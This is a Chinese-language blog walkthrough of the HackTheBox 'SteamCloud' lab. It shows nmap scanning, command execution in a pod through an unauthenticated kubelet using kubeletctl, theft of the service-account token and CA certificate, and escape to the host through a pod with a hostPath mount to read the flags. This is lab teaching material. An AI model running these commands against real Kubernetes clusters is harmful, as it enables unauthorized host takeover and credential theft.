HackTheBox-Cloud-SteamCloud #Kubernetes#Linux

一、nmap

nmap 10.10.11.133 --max-retries=0 -T4 -p-

nmap 有时会尝试多次,max-retries 0失败就不尝试了  

22 2379 2380 (etcd的客户端和服务端)8443(应该是kubernetes API Server) 10250 (kubelet默认端口)

首先试一下k8s未授权访问 

curl https://10.10.11.133:8443 -k   -k是--insecure 表示curl跳过TLS/SSL认证,即使目标证书不可信或者无效curl也会继续执行命令。测试可用,生产环境×,可能会被中间人攻击

curl -k的结果是forbidden:user system:anonymous 不能访问路径/ ,返回403

无法未授权访问apiserver后,查看10250端口的kubelet service

curl http://10.10.11.133:10250/pods -k  

可以看到k8s集群的pods信息

kubeletctl是个第三方工具,可以操作undocumented api  比如:运行api call,打开api节点,使用rce,通过kubelet在所有容器上同时运行命令,从可用容器中获取token以及阅读友好的打印输出

下载并安装kubeletctl  添加到usr/local/bin./kubeletctl

1.curl -LO  https://github.com/cyberark/kubeletctl/releases/download/v1.7/kubeletctl_linux_amd64   L location跟随重定向如果返回了Location头,  O保存文件,与远程资源文件名相同

2.chmod a+x ./kubeletctl_linux_amd64

3.mv ./kubeletctl_linux_amd64 /usr/local/bin/kubeletctl  通常在PATH中,一般保存二进制文件,可以在任何路径下运行

二、foothold

使用kubeletctl --server  10.10.11.133 pods  #会返回pods列表可以看到有多少pods

因为10250的kubelet允许未授权访问 可以对kubeletctl用run exec cri等

kubeletctl --server 10.10.11.133 scan rce  扫描可rce的pod  找到+的pod  nginx

测试一下 

kubeletctl --server  10.10.11.133 exec "id" (不要加空格)  -p nginx -c nginx  指定pod 和container

container显示root

三、Privesc

查看token和证书信息

kubeletctl --server 10.10.11.133 exec "cat /var/run/secrets/kubernetes.io/serviceaccount/token" -p nginx -c nginx 

kubeletctl --server 10.10.11.133 exec "cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt" -p nginx -c nginx > ./ca.crt

/var/run/secrets/kubernetes.io/serviceaccount/ 证书凭据放置的内容 (guide模式的答案)

echo token="exec的token的内容"

获取token和crt后,可以远程访问kubectl了

查看权限

kubectl --token=$token --certificate-authority=ca.crt --server=10.10.11.133 get pods /auth can-i --list

发现有pod的create权限,创建一个hostpath挂载根目录  

kubectl --token= --certificate-authority  --server= apply -f xxx.yaml

kubectl --token  -- certificate-authority --server get pods

kubeletctl --server 10.10.11.133 exec "cat /root/home/user/user.txt" -p nginx -c nginx

kubeletctl --server 10.10.11.133 exec "cat /root/root/root.txt" -p nginx -c nginx

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值